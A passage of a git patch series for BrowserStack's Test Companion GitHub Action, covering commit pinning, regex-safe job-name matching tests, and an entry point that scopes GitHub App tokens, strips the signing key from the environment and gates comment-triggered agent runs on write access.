markerPattern(ANY_SHA) + // Same reader as findProposal, so the two cannot drift again. const stale = (comments ?? []).filter((c) => { if (c?.user?.type !== "Bot") return false - const found = marker.exec(c.body ?? "") - return Boolean(found) && found[1] !== current + const found = readMarker(c.body) + return Boolean(found) && found.sha !== current }) if (stale.length === 0) return undefined // Newest wins: with several old plans, the one they most plausibly meant is // the last one we put up. const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) - const found = marker.exec(newest.body ?? "") - return { sha: found?.[1], requester: found?.[2], id: newest.id } + const found = readMarker(newest.body) + return { sha: found?.sha, requester: found?.requester, id: newest.id } } /** diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs index 4d4f065..96eda04 100644 --- a/test-companion/test/intent.test.mjs +++ b/test-companion/test/intent.test.mjs @@ -239,3 +239,32 @@ describe("stop and set up are what the comment ASKS FOR, not words it contains", assert.equal(out.workflow, "fix") }) }) + +/** + * Semgrep flagged the per-name `new RegExp` (browserstack/github-actions#91, + * finding 8). These pin the behaviour that matters so it can be rewritten + * without a pattern built from input. + */ +describe("naming a bound job — matched on whole words, never as a substring", () => { + const bound = { workflows: ["generate", "test-pr", "mobile run", "rca"] } + + test("a name is found when it is said", () => { + assert.equal(readIntent("please run generate", bound).workflow, "generate") + assert.equal(readIntent("do a test-pr on this", bound).workflow, "test-pr") + }) + + test("a name inside a longer word is NOT a request for it", () => { + assert.notEqual(readIntent("I regenerated the lockfile", bound).workflow, "generate") + }) + + test("longest wins, so 'mobile run' is never read as a shorter name", () => { + assert.equal(readIntent("kick off mobile run", bound).workflow, "mobile run") + }) + + test("a name with regex metacharacters cannot blow up or match wildly", () => { + const odd = { workflows: ["c++ build", "a.c"] } + assert.equal(readIntent("start the c++ build", odd).workflow, "c++ build") + // `a.c` unescaped would match "abc"; it must not. + assert.notEqual(readIntent("abc", odd).workflow, "a.c") + }) +}) From 6adf348f41b8ce0859da092e0259b1d39a073976 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:13:35 +0530 Subject: [PATCH 14/18] fix: pin checkout in the starter, keep our own tag floating semgrep/ci is a required check and was failing on both. checkout is third party and now pinned to v4.4.0's commit; our own action stays on @v1 with a nosemgrep and the reason, because a floating major tag is how customers receive fixes without editing their copy. Co-Authored-By: Claude Opus 5 --- test-companion/starter-workflow.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 1789bba..e6383bd 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -75,10 +75,18 @@ jobs: checks: write # the "Test Companion" check actions: write # reading the red run, and cancelling one on "stop" steps: - - uses: actions/checkout@v4 + # v4.4.0. Pinned to a commit because a tag can be repointed by + # whoever owns it, and this step runs in YOUR job with YOUR token. + # Safe to bump whenever you like — it is your workflow now. + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 with: fetch-depth: 0 # jobs that look at what changed need history + # A floating major tag, deliberately, and the one place in this + # file that stays unpinned: @v1 is how you receive fixes to Test + # Companion without editing this file. Pinning it to a commit + # would freeze you on whatever shipped the day you copied this. + # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag - uses: browserstack/github-actions/test-companion@v1 with: username: ${{ secrets.BROWSERSTACK_USERNAME }} From 708e694ba0d874ecb2d6ee90a00e5d142100b89d Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:15:59 +0530 Subject: [PATCH 15/18] fix: use the full rule id in the starter's nosemgrep The rule id repeats its last segment; written once, it matched nothing. Co-Authored-By: Claude Opus 5 --- test-companion/starter-workflow.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index e6383bd..6ef8079 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -86,7 +86,7 @@ jobs: # file that stays unpinned: @v1 is how you receive fixes to Test # Companion without editing this file. Pinning it to a commit # would freeze you on whatever shipped the day you copied this. - # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag + # nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag - uses: browserstack/github-actions/test-companion@v1 with: username: ${{ secrets.BROWSERSTACK_USERNAME }} From 7dbe5cfe716bd4d5c16fdf4adecb421cd286639a Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 18:37:32 +0530 Subject: [PATCH 16/18] fix: the three blockers from the review of browserstack/vscode-ai-testing#3101 B1 a skip or a crash left the "in progress" check pending for ever, and a crash posted its check on the default branch instead of the PR head. B2 `stop` shared a concurrency group with the run it was sent to stop. B3 the App private key stayed in the environment after it had been used. Co-Authored-By: Claude Opus 5 --- test-companion/main.mjs | 1430 ++++++++++++++++++++++++++ test-companion/report.mjs | 597 +++++++++++ test-companion/src/main.mjs | 31 +- test-companion/src/report.mjs | 15 + test-companion/starter-workflow.yml | 13 +- test-companion/test/imports.test.mjs | 33 + test-companion/test/report.test.mjs | 36 + test-companion/test/starter.test.mjs | 29 + 8 files changed, 2181 insertions(+), 3 deletions(-) create mode 100644 test-companion/main.mjs create mode 100644 test-companion/report.mjs diff --git a/test-companion/main.mjs b/test-companion/main.mjs new file mode 100644 index 0000000..2845bbb --- /dev/null +++ b/test-companion/main.mjs @@ -0,0 +1,1430 @@ +/** + * The Action's entry point — STM-3663 Release 2. + * + * Deliberately thin. Every decision worth testing lives in plan-run.mjs, + * outcome.mjs and report.mjs, which are pure and run under `node --test` in + * milliseconds. What is left here is I/O: read the event, spawn the CLI, call + * GitHub, write the step's outputs. That split exists because the only other + * way to test this is to push a commit and wait several minutes for a runner. + * + * Zero dependencies — Node's standard library plus `gh`, which is preinstalled + * on every GitHub runner and is already how this product talks to GitHub. + */ +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, constants } from "node:fs" +import { spawnSync } from "node:child_process" +import { join } from "node:path" +import { tmpdir } from "node:os" +import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" +import { readIntent, INTENT } from "./intent.mjs" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" +import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" +import { mayAsk, describeTestRepoAccess } from "./access.mjs" +import { findTicket } from "./ticket.mjs" +import { childEnvFor } from "./child-env.mjs" +import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" +import { + renderJobSummary, + renderComment, + chooseCommentAction, + checkSha, + checkSubjectFor, + renderNotAuthorized, + renderUnknownRequest, + findProposal, + renderProposal, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + proposalDroppedMarkerFor, + proposalNeedsDropping, + flattenPages, + hasApproverEdits, + renderProposalBody, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "./report.mjs" +import { pipelineConfigPath, renderNoPipelineReport, settingsRef, renderSetupPr, starterPipelineFor } from "./starter.mjs" +import { detectFramework } from "./framework.mjs" +import { buildAnnotations, parseFailedTests } from "./annotations.mjs" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + needsCheckout, + isSameRepo, + pushCredentialEnv, + pushUrlFor, + unexpectedConfigKeys, + CONFIG_READ_ARGS, + trustedGitPath, + gitEnvFrom, + GIT_SAFE_ARGS, +} from "./push-work.mjs" + +const env = process.env +const REPO = env.GITHUB_REPOSITORY ?? "" +const RUN_URL = `${env.GITHUB_SERVER_URL ?? "https://github.com"}/${REPO}/actions/runs/${env.GITHUB_RUN_ID ?? ""}` +// RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while +// /tmp survives on a self-hosted or reused runner. With fixed names in a shared +// /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run +// would report, and upload, test cases it never produced. Falls back to tmpdir() +// so the Action still runs outside a GitHub runner. +const REPORT_DIR = env.RUNNER_TEMP || tmpdir() +const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") +// What the run PRODUCED, as opposed to how it went. Kept separate because the +// two have separate readers: a CI step branches on the summary, a person reads +// the result. For a preview run — which refuses to save by design — this file +// is the only place the generated cases survive (FR-20). +const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") + + +// The artifact the result is uploaded under, named here so the report can +// point a reader at it by name. Must match the upload step in action.yml. +const RESULT_ARTIFACT = "test-companion-result" + +const setOutput = (k, v) => env.GITHUB_OUTPUT && appendFileSync(env.GITHUB_OUTPUT, `${k}=${v}\n`) +const addToJobSummary = (md) => env.GITHUB_STEP_SUMMARY && appendFileSync(env.GITHUB_STEP_SUMMARY, md + "\n") +const notice = (m) => console.log(`::notice::${m}`) +const warn = (m) => console.log(`::warning::${m}`) + +/** The raw `gh` call, so a caller that cares WHY it failed can look. */ +function ghRaw(args, body) { + return spawnSync("gh", args, { + encoding: "utf8", + input: body ? JSON.stringify(body) : undefined, + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }) +} + +/** `gh api`, returning parsed JSON or null. Never throws — reporting must not break a run. */ +function gh(args, body) { + const r = ghRaw(args, body) + if (r.status !== 0) { + // A missing permission is a normal, documented outcome (FR-4): skip that + // write, name it, carry on. It is never a reason to fail the run. + warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) + return null + } + try { + return JSON.parse(r.stdout) + } catch { + return null + } +} + +/** + * Sign in as the Test Companion GitHub App, when it is installed — Release 4. + * + * Buys exactly three things: the comment and the tick come from "Test + * Companion" rather than github-actions[bot], the workflow needs no + * permissions block because the installation token carries the App's own, and + * an admin can roll the setup out across an organisation at once. + * + * It does not run anything (Decision 0). The run still happens on the + * customer's machine with their BrowserStack credentials. + * + * Every failure here falls back to the workflow token rather than stopping. A + * repository without the App installed is the normal case, not an error, and + * FR-4 says the run finishes either way. + */ +function appInstallationToken() { + const creds = appCredentials(env) + if (!creds) return undefined + // B3 (review of #3101). `creds` holds its own copy, so the key can leave + // the environment the moment it has been read. Everything this process + // starts from here on inherits that environment — including the agent, + // which runs with --yolo and chooses its own commands — and a signing key + // is not something to leave lying where they can read it. + // + // childEnvFor strips it for the agent already; this closes the same hole + // for everything else, and does not rely on remembering to list it. + delete env.TC_ACTION_APP_PRIVATE_KEY + + let jwt + try { + jwt = signJwt(creds) + } catch (e) { + // A malformed key is worth saying out loud: someone configured this and + // it silently did nothing. + warn(`Could not sign the GitHub App token (${e?.message ?? e}); using the workflow token instead.`) + return undefined + } + + // The JWT authenticates the APP; only the installation token can touch a + // repository. Passed per-call rather than exported, so it never lands in + // the environment at all. + const asApp = (args) => spawnSync("gh", args, { encoding: "utf8", env: { ...env, GH_TOKEN: jwt } }) + + const found = asApp(["api", `repos/${REPO}/installation`]) + if (found.status !== 0) { + notice("Test Companion: the GitHub App is not installed on this repository; using the workflow token.") + return undefined + } + let installationId + try { + installationId = JSON.parse(found.stdout)?.id + } catch { + return undefined + } + if (!installationId) return undefined + + // FR-4: "for that repo only". A token minted with no body carries every + // permission the installation holds across every repository it covers — a + // run in one repository would hold write access to all of an organisation's. + const scope = installationTokenRequest(REPO) + if (!scope) { + warn(`Could not read "${REPO}" as owner/name, so no scoped App token was requested.`) + return undefined + } + + const mint = (body) => + spawnSync("gh", ["api", `app/installations/${installationId}/access_tokens`, "--method", "POST", "--input", "-"], { + encoding: "utf8", + input: JSON.stringify(body), + env: { ...env, GH_TOKEN: jwt }, + }) + + // An installation granted fewer permissions than we ask for refuses the + // whole request, so the second attempt drops the permission list and keeps + // the repository scope — which is the half FR-4 actually requires. Better a + // token scoped to one repository than a fall back to the workflow token. + let minted = mint(scope) + if (minted.status !== 0) { + minted = mint({ repositories: scope.repositories }) + } + if (minted.status !== 0) { + warn("Could not mint a GitHub App token; using the workflow token instead.") + return undefined + } + + let token + try { + token = JSON.parse(minted.stdout)?.token + } catch { + return undefined + } + if (!token) return undefined + + // FR-3: credentials are masked in the log. Before the token is used for + // anything, so there is no window where it could be echoed unmasked. + console.log(`::add-mask::${token}`) + return token +} + +/** + * The settings file as it stands on the DEFAULT BRANCH — FR-7. + * + * Not the checked-out tree. Read from the branch under test, a pull request can + * rewrite the rules for its own run and be obeyed — switch itself from preview + * to live, delete its own spending limit, point its writes elsewhere. Reading + * from the default branch means an edit counts only once someone merges it. + * + * Returns the local path the content was written to, or undefined when there is + * no settings file there. Fails SAFE: a fetch that errors for any reason is + * treated as "no settings", which is a clean skip (FR-13) rather than a run + * governed by whatever happens to be checked out. + * + * `--raw` because this is a YAML file, not the JSON envelope gh() parses. + */ +function fetchSettings(path, ref) { + const r = spawnSync( + "gh", + ["api", `repos/${REPO}/contents/${path}?ref=${encodeURIComponent(ref)}`, "-H", "Accept: application/vnd.github.raw"], + { + encoding: "utf8", + env: { ...env, GH_TOKEN: env.GH_TOKEN }, + }, + ) + if (r.status !== 0) { + const first = (r.stderr ?? "").trim().split("\n")[0] + // A 404 is the ordinary "this repo has no settings file yet" case (FR-13). + // Anything else is worth saying out loud, because the run is about to skip. + if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) + return undefined + } + const local = join(REPORT_DIR, "testcompanion-pipeline.default-branch.yml") + writeFileSync(local, r.stdout) + return local +} + +/** + * Whether `login` may ask Test Companion for a run — FR-33. + * + * admin, maintain and write can; triage and read cannot. Any failure to get a + * clear answer counts as "no". + */ +function hasWriteAccess(login) { + if (!login) return false + const res = gh(["api", `repos/${REPO}/collaborators/${login}/permission`]) + return ["admin", "maintain", "write"].includes(res?.permission) +} + +/** + * Is `login` on `team` in this repository's organisation? — FR-33. + * + * Tri-state on purpose: undefined means we could not find out (no token for + * the organisation, API down, rate limited), which mayAsk treats as a no. + */ +function isOnTeam(login, team) { + if (!login || !team) return undefined + const org = REPO.split("/")[0] + const res = gh(["api", `orgs/${org}/teams/${team}/memberships/${login}`]) + if (!res) return undefined + return res.state === "active" +} + +/** + * Run git in the checkout. Never throws: every caller here treats a git + * failure as "we could not save the work", which is reported, not fatal. + */ +/** + * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on + * PATH later cannot be the one we find. Absent means we do not commit at all. + */ +const GIT_BIN = trustedGitPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + +function git(args, extraEnv = {}) { + // A near-empty environment, and no hooks. These run AFTER the agent, which + // has had --yolo write access to the tree: a planted .git/hooks/pre-commit + // would otherwise be executed by our own `git commit` with the App's + // private key and the customer's credentials in its environment. + if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } + const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { + encoding: "utf8", + env: { ...gitEnvFrom(env), ...extraEnv }, + }) + // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first + // column for an unstaged modification, and trimming the whole output eats + // it on the first line — which cost run 40845669513 ten passing tests. + // Anything parsing columns reads `raw`; everything else wants `out`. + return { ok: r.status === 0, out: (r.stdout ?? "").trim(), raw: r.stdout ?? "", err: (r.stderr ?? "").trim() } +} + +/** + * The repository's default branch, or undefined when we cannot find out. + * Undefined only relaxes the default-branch refusal, so an unanswered call + * never widens anything else. + */ +function defaultBranchName() { + return gh(["api", `repos/${REPO}`])?.default_branch +} + +let cachedEvent +function readEvent() { + // Parsed once. This is called seven times in a run, and the file cannot + // change underneath us — GitHub writes it before the job starts. + if (cachedEvent !== undefined) return cachedEvent + cachedEvent = readEventUncached() + return cachedEvent +} + +function readEventUncached() { + try { + return JSON.parse(readFileSync(env.GITHUB_EVENT_PATH, "utf8")) + } catch { + return {} + } +} + +/** Nothing to do. Report it plainly and let the step pass — FR-3, FR-13. */ +function finishSkipped(reason, detail) { + const human = { + "not-a-pull-request": "That comment was on an issue, not a pull request.", + "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", + "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", + "comment-edited": "Editing a comment does not start a run.", + fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", + draft: "Draft pull requests do not start a run on their own. Comment to ask for one.", + "closed-unmerged": "The pull request was closed without merging.", + "build-not-red": "That run did not fail, so there is nothing to explain.", + "own-run": "That was Test Companion's own run; it does not explain itself.", + "unsupported-event": "Test Companion is not bound to this kind of event.", + "unsafe-context": "A value from this event looked like a command-line flag and was refused.", + "no-workflow-named": "A manual run needs a `workflow` input naming the job.", + "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", + "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", + // FR-4: name the permission and the line to add. The commonest cause by + // far is a workflow without `pull-requests: read` — the lookup 403s, the + // head commit is unknown, and the run fails closed. Said plainly here + // because "nothing safe to run against" sends a reader looking at their + // pull request rather than at their permissions block. + "no-pr-head": + "Could not read that pull request, so there is no commit it is safe to run against. " + + "If this workflow has no `pull-requests: read` permission, add it.", + "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", + "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", + stopped: "Stopped, as asked.", + "not-bound": "That job is not bound to pull request comments in this repository.", + "nothing-to-approve": "Nothing is waiting for approval on this commit.", + "proposal-expired": "That proposal was more than a day old and has been dropped.", + proposed: "Proposed, and waiting for someone to reply go.", + "setup-requested": "Opened a pull request adding the settings file.", + }[reason] + const msg = human ?? `Nothing to do (${reason}).` + notice(`Test Companion: ${msg}`) + // B1 (review of #3101). The "in progress" check goes up before the CLI + // runs so a later `stop` has something to cancel. Skipping out from under + // it left "Test Companion" pending for ever — and `no-binding` is most + // events, so for most repositories that was most runs. + // + // Completing it here rather than posting the check later keeps `stop` + // working. Nothing deliberately leaves a check pending through this + // function: the proposal path posts its own and exits directly. + for (const sha of checksMade.keys()) { + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) + } + addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +/** + * FR-13: no settings file means a clean pass and the file they need. + * + * Checked before anything else that could cost money or time. Left to the CLI + * this is a red build reading `open testcompanion-pipeline.yml: no such file or + * directory` — the person did nothing wrong, and the message names a file they + * have never heard of. + */ +function finishWithStarter(path) { + notice(`Test Companion: no ${path} yet, so there is nothing to run. A starter is on the run summary.`) + addToJobSummary(renderNoPipelineReport(path)) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +function main() { + // Release 4: act as the App when it is installed, so the comment and the + // tick carry Test Companion's name. Before anything else talks to GitHub. + const appToken = appInstallationToken() + if (appToken) { + env.GH_TOKEN = appToken + notice("Test Companion: acting as the GitHub App.") + } + + // FR-3: a run without credentials does nothing, says so, and passes. This is + // the normal shape of a fork pull request, not an error. + if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { + finishSkipped("no-credentials") + } + + // Before the plan, so a repository with no pipeline file gets the starter + // rather than whatever the planner happens to say about this event. + const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) + // FR-7: from the default branch, never from the branch under test. + // May be undefined — a repository with no settings file is a normal, and + // very common, first run (FR-13). It is NOT an early exit any more: a + // comment asking us to add that file is the one thing worth doing in a + // repository that has none, and the exit used to sit in front of it. + // Nothing below costs money before the settings check further down. + const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) + + // FR-44: before anything else this run does, clear out proposals that ran + // out of time, so none of them leaves a check stuck on "in progress". + if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() + + let plan = planRun({ + eventName: env.GITHUB_EVENT_NAME, + payload: readEvent(), + repo: REPO, + sha: env.GITHUB_SHA, + ref: env.GITHUB_REF, + inputs: { + workflow: env.TC_ACTION_WORKFLOW, + preview: env.TC_ACTION_PREVIEW, + "self-workflow-name": env.TC_ACTION_SELF_WORKFLOW, + }, + }) + if (plan.skip) { + // FR-36: closing a pull request without merging stops whatever it started. + if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) + finishSkipped(plan.skip.reason, plan.skip.detail) + } + + // FR-33: only someone who can write to the repository may ask for a run by + // commenting. On a public repository anyone can comment, and a run executes + // an agent with --yolo against the customer's own machine and credentials, + // so this gate is the whole access-control story for the comment trigger. + // + // Fails CLOSED: if the permission lookup itself fails — no token, API down, + // rate limited — the run does not start. An unanswerable "may they?" is a no. + // Keyed on the TRIGGER, not only on a flag the planner sets. A planner change + // that forgets the flag would otherwise delete this gate silently, and the + // failure would be invisible: runs would simply start working for people who + // should not be able to start them. + // A comment names an issue, not a commit. Look the pull request up so the + // run works on ITS head rather than the default branch, and so the check + // lands on that commit. Fails closed on a fork, like every other untrusted + // trigger (review finding, PR #3030). + let pull + if (!plan.context?.sha && plan.context?.pr) { + pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) + plan = withPullRequestHead(plan, pull, REPO) + if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) + // Work on the commit that was asked about. The starter checks out the + // default branch for a comment event, since the payload names no ref. + const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) + if (co.status === 0) { + spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) + } else { + warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) + } + } + + // FR-37: the ticket this change is for, so the run tests against what the + // ticket asks for and not only what the diff does. The pull request object + // is already in hand for a comment event; for a pull_request event it is on + // the payload. + const prForTicket = pull ?? readEvent().pull_request + const ticket = findTicket({ + title: prForTicket?.title, + branch: plan.context?.branch ?? prForTicket?.head?.ref, + body: prForTicket?.body, + }) + if (ticket && plan.context) plan.context.ticket = ticket + + // Read once, before the access check: FR-33's team narrowing lives in the + // same document as FR-43's approval gate. + const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined + const askTeam = bindingsDoc?.settings?.ask_team + + // Only issue_comment. `pull_request_review_comment` was listed here too, + // but route() has no case for it, so such an event skips as + // "unsupported-event" long before this line — and the starter does not + // subscribe to it either. + // Jobs that understand --propose-only and --plan-file. For anything else + // the proposal IS the preview run's report. + const CARRIES_A_PLAN = new Set(["test-pr"]) + // Jobs that cannot run without knowing which build failed. + const NEEDS_A_BUILD = new Set(["rca", "fix", "verdict"]) + const COMMENT_TRIGGERS = new Set(["issue_comment"]) + if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { + const who = plan.commenter ?? readEvent().comment?.user?.login + // FR-33: write access is the floor, and the pipeline file may narrow it + // to a team. It may never widen it — see mayAsk. + const allowed = mayAsk({ + hasWriteAccess: hasWriteAccess(who), + askTeam, + inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, + }) + if (!allowed) { + // FR-33 wants a one-line reply, not a line in a log the person who + // asked will never open. + replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + finishSkipped("not-authorized", who) + } + } + + // FR-34: work out what the comment actually asked for, here, before the CLI + // is spawned — a request we cannot place has to cost nothing. + let proposing = false + let approvalNote = "" + if (plan.event === TC_EVENTS.PR_COMMENT) { + // FR-34: pass what this repository has actually bound, so a job can be + // asked for by name and not only by the phrases written into PHRASES. + const intent = readIntent(plan.context.instructions, { + workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), + }) + + if (intent.kind === INTENT.UNKNOWN) { + replyOnPr(plan.context.pr, renderUnknownRequest()) + finishSkipped("unmapped-request") + } + // Answered before anything starts. Falling through would be the worst + // possible reading of "stop": the person asks for the run to end and a + // new one begins. + if (intent.kind === INTENT.STOP) { + stopRuns(plan, plan.commenter ?? "you") + finishSkipped("stopped") + } + if (intent.kind === INTENT.SETUP) { + openSetupPr(plan, configPath) + finishSkipped("setup-requested") + } + + // A named job narrows what the binding would otherwise choose. The event + // is kept, so the binding still governs result mode and limits — asking + // by comment must not be a way around the repository's own settings. + if (intent.workflow) plan.workflow = intent.workflow + + const bindings = bindingsDoc + const binding = pickBinding(bindings, intent.workflow) + + // FR-34 asks for any BOUND workflow. Saying so now beats a preview run, + // a proposal, a "go", and only then "no binding for pr_comment". + if (intent.workflow && bindings && !binding) { + replyOnPr( + plan.context.pr, + `\`${intent.workflow}\` is not bound to pull request comments in this repository, so nothing ran. Bind it in \`${configPath}\` under \`on: pr_comment\`.`, + ) + finishSkipped("not-bound", intent.workflow) + } + + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + const waiting = findProposal(comments, plan.context.sha) + + // An unaddressed comment only ever reaches us as a possible approval. + // With nothing waiting, it is what it looked like: a person talking to + // each other, not to us. + // + // Unless a plan we put up has been left behind by a newer commit. Then + // they were talking to us, they used a word we accept, and telling them + // "no @test-companion mention" is both wrong and unhelpful — the reason + // is sitting in the comment history (FR-44). + if (plan.approvalOnly && !waiting) { + const stale = findSupersededProposal(comments, plan.context.sha) + if (stale) { + replyOnPr( + plan.context.pr, + `That plan was for \`${String(stale.sha).slice(0, 7)}\`, and this branch has moved on since — ` + + `a plan written against code that has changed is not safe to run. ` + + `Ask me again and I will put up a fresh one for \`${String(plan.context.sha).slice(0, 7)}\`.`, + ) + finishSkipped("proposal-superseded") + } + finishSkipped("not-addressed-to-us") + } + const gate = decideGate({ + intent, + approval: binding?.approval, + proposal: waiting, + actor: plan.commenter ?? plan.context.actor, + // Named by the comment when it named one, otherwise whatever the + // binding would run — the gate needs the job that will ACTUALLY run. + workflow: plan.workflow ?? binding?.workflow, + }) + + if (gate.action === GATE.NOTHING_TO_APPROVE) { + replyOnPr( + plan.context.pr, + "There is nothing waiting for approval on this commit. Ask for a job by name and I will propose one.", + ) + finishSkipped("nothing-to-approve") + } + if (gate.action === GATE.EXPIRED) { + // FR-44: dropped after 24 hours. Enforced on the approving side, so a + // stale proposal cannot be approved however long it sits there. + replyOnPr( + plan.context.pr, + "That proposal is more than a day old, so I have dropped it. Ask again and I will put up a fresh one.", + ) + finishSkipped("proposal-expired") + } + + if (gate.approvedProposal) { + // Pin the run to the job that was actually proposed and read. The + // GO intent names no workflow, so without this the CLI resolved one + // from the event alone — whichever binding came first in the file — + // and a `fix` proposal could run something else, live, with --yolo. + if (waiting?.workflow) plan.workflow = waiting.workflow + + // FR-43: the run carries out the approved plan — the proposal as the + // approver left it, edits and all. Written to a file rather than + // squeezed onto a command line: a case list is prose, and --context + // strips the punctuation it is written with. + const replyText = plan.context.instructions + const planFile = join(REPORT_DIR, "approved-plan.md") + writeFileSync(planFile, renderApprovedPlan(waiting?.body, replyText)) + if (CARRIES_A_PLAN.has(plan.workflow)) plan.context.plan_file = planFile + + // And the approving comment's own text stops here. The edits are in + // the plan file now; passing the raw reply as well would put free + // text back on the path to the agent, which is what made the approval + // meaningless in the first place. + delete plan.context.instructions + + // Reported, not refused. Both asking and approving need write access, + // so one person doing both is not an escalation — but edits made at + // approval time were reviewed by nobody but the approver, and on a + // self-approved run by nobody at all. A reviewer should see that. + if (gate.selfApproved) { + approvalNote = hasApproverEdits(replyText) + ? ` Approved by @${plan.commenter}, who also asked for it — and edited the plan while approving, so nobody else reviewed those changes.` + : ` Approved by @${plan.commenter}, who also asked for it.` + notice(`Test Companion:${approvalNote}`) + } + } else { + // FR-44: too big to cover in one go — say so to the run, which then + // covers what matters and lists what it left out. + const size = describeChangeSize(pull) + if (size.large) { + plan.context.focus = `${size.files} files and ${size.lines} changed lines` + } + } + + proposing = gate.action === GATE.PROPOSE + // FR-43: a planning pass has to KNOW it is one. Without this it attempts + // the work, is refused by preview, and reports "Could not run" after + // spending real credits — observed on the first live run. + // Only `test-pr` has --propose-only and --plan-file; sending either to + // any other job is an unknown-flag exit before the run starts. + // + // The gate still works for them, because a proposal run is a PREVIEW + // run and preview is enforced in tool dispatch: it does the work, + // writes nothing, and its report is what the reviewer approves. + if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" + if (gate.preview || intent.preview) plan.preview = true + + // THIS RUNS LAST, and it has to. + // + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a COMMENT is not, so these + // three used to fail on the first comment with "Could not run" — while + // we advertise all three by name. + // + // Last, because the workflow is not final until the approval handling + // above has run: "go" names no job, so the job comes from the proposal + // being approved. With this block higher up, asking for an rca worked + // and APPROVING it did not — the CLI was spawned with no build and + // refused it with `rca requires --context build=`. Live run + // 41048725625. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from 